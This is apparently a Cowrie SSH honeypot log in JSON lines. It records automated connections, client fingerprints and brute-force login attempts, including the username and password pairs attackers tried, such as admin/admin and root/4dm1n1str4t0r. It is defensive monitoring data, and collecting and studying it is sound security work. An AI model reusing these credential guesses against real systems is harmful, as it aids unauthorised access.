{"eventid":"cowrie.session.connect","src_ip":"34.140.18.26","src_port":27882,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a8036994209","protocol":"ssh","message":"New connection: 34.140.18.26:27882 (10.17.0.5:22) [session: 9a8036994209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:24.319166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:24.399345Z","src_ip":"34.140.18.26","session":"9a8036994209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:24.451616Z","src_ip":"202.51.214.99","session":"7277aa97d301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.18.26","src_port":27894,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e33805491a","protocol":"ssh","message":"New connection: 34.140.18.26:27894 (10.17.0.5:22) [session: 24e33805491a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:24.555101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:24.563869Z","src_ip":"34.140.18.26","session":"24e33805491a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:24.642888Z","src_ip":"34.140.18.26","session":"24e33805491a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:25.751218Z","src_ip":"34.140.18.26","session":"24e33805491a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:25.830701Z","src_ip":"34.140.18.26","session":"9a8036994209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:25.837217Z","src_ip":"34.140.18.26","session":"24e33805491a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:30.028570Z","src_ip":"34.140.18.26","session":"9a8036994209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":55234,"dst_ip":"10.17.0.5","dst_port":22,"session":"d664b3e3b824","protocol":"ssh","message":"New connection: 103.118.29.129:55234 (10.17.0.5:22) [session: d664b3e3b824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:43.076108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:43.082422Z","src_ip":"103.118.29.129","session":"d664b3e3b824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:43.325669Z","src_ip":"103.118.29.129","session":"d664b3e3b824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seekcy","password":"Joysuch@Locate2026","message":"login attempt [seekcy/Joysuch@Locate2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:44.304703Z","src_ip":"103.118.29.129","session":"d664b3e3b824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:45.546394Z","src_ip":"103.118.29.129","session":"d664b3e3b824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd087c88d410","protocol":"ssh","message":"New connection: 43.242.203.160:55486 (159.203.135.109:22) [session: cd087c88d410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:50.471169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:50.475594Z","src_ip":"43.242.203.160","session":"cd087c88d410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:50.772102Z","src_ip":"43.242.203.160","session":"cd087c88d410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4dm1n1str4t0r","message":"login attempt [root/4dm1n1str4t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:51.874476Z","src_ip":"43.242.203.160","session":"cd087c88d410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:53.207221Z","src_ip":"43.242.203.160","session":"cd087c88d410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":59302,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c435d422511","protocol":"ssh","message":"New connection: 45.137.172.116:59302 (10.17.0.5:22) [session: 6c435d422511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:07.371918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:07.378064Z","src_ip":"45.137.172.116","session":"6c435d422511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:07.474765Z","src_ip":"45.137.172.116","session":"6c435d422511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zse4xdr5","message":"login attempt [root/zse4xdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:07.890678Z","src_ip":"45.137.172.116","session":"6c435d422511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:08.990059Z","src_ip":"45.137.172.116","session":"6c435d422511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":23942,"dst_ip":"10.17.0.5","dst_port":22,"session":"219e53ff3f3e","protocol":"ssh","message":"New connection: 35.195.167.148:23942 (10.17.0.5:22) [session: 219e53ff3f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:11.450001Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:11.531805Z","src_ip":"35.195.167.148","session":"219e53ff3f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":45150,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6dfba9abad","protocol":"ssh","message":"New connection: 200.39.46.41:45150 (10.17.0.5:22) [session: aa6dfba9abad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:20.709856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:20.714505Z","src_ip":"200.39.46.41","session":"aa6dfba9abad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:20.859662Z","src_ip":"200.39.46.41","session":"aa6dfba9abad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:21.472591Z","src_ip":"200.39.46.41","session":"aa6dfba9abad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":36486,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb6cde80b5e4","protocol":"ssh","message":"New connection: 69.48.205.231:36486 (10.17.0.5:22) [session: cb6cde80b5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:21.807415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:21.812417Z","src_ip":"69.48.205.231","session":"cb6cde80b5e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:21.863120Z","src_ip":"69.48.205.231","session":"cb6cde80b5e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:22.095794Z","src_ip":"69.48.205.231","session":"cb6cde80b5e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:22.619365Z","src_ip":"200.39.46.41","session":"aa6dfba9abad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:23.149600Z","src_ip":"69.48.205.231","session":"cb6cde80b5e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":25974,"dst_ip":"10.17.0.5","dst_port":22,"session":"50813273fc12","protocol":"ssh","message":"New connection: 45.148.147.191:25974 (10.17.0.5:22) [session: 50813273fc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:24.793960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:24.798889Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.145.60","src_port":12398,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff7e7d28c090","protocol":"ssh","message":"New connection: 45.148.145.60:12398 (10.17.0.5:22) [session: ff7e7d28c090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:24.837824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:24.842672Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:24.897344Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
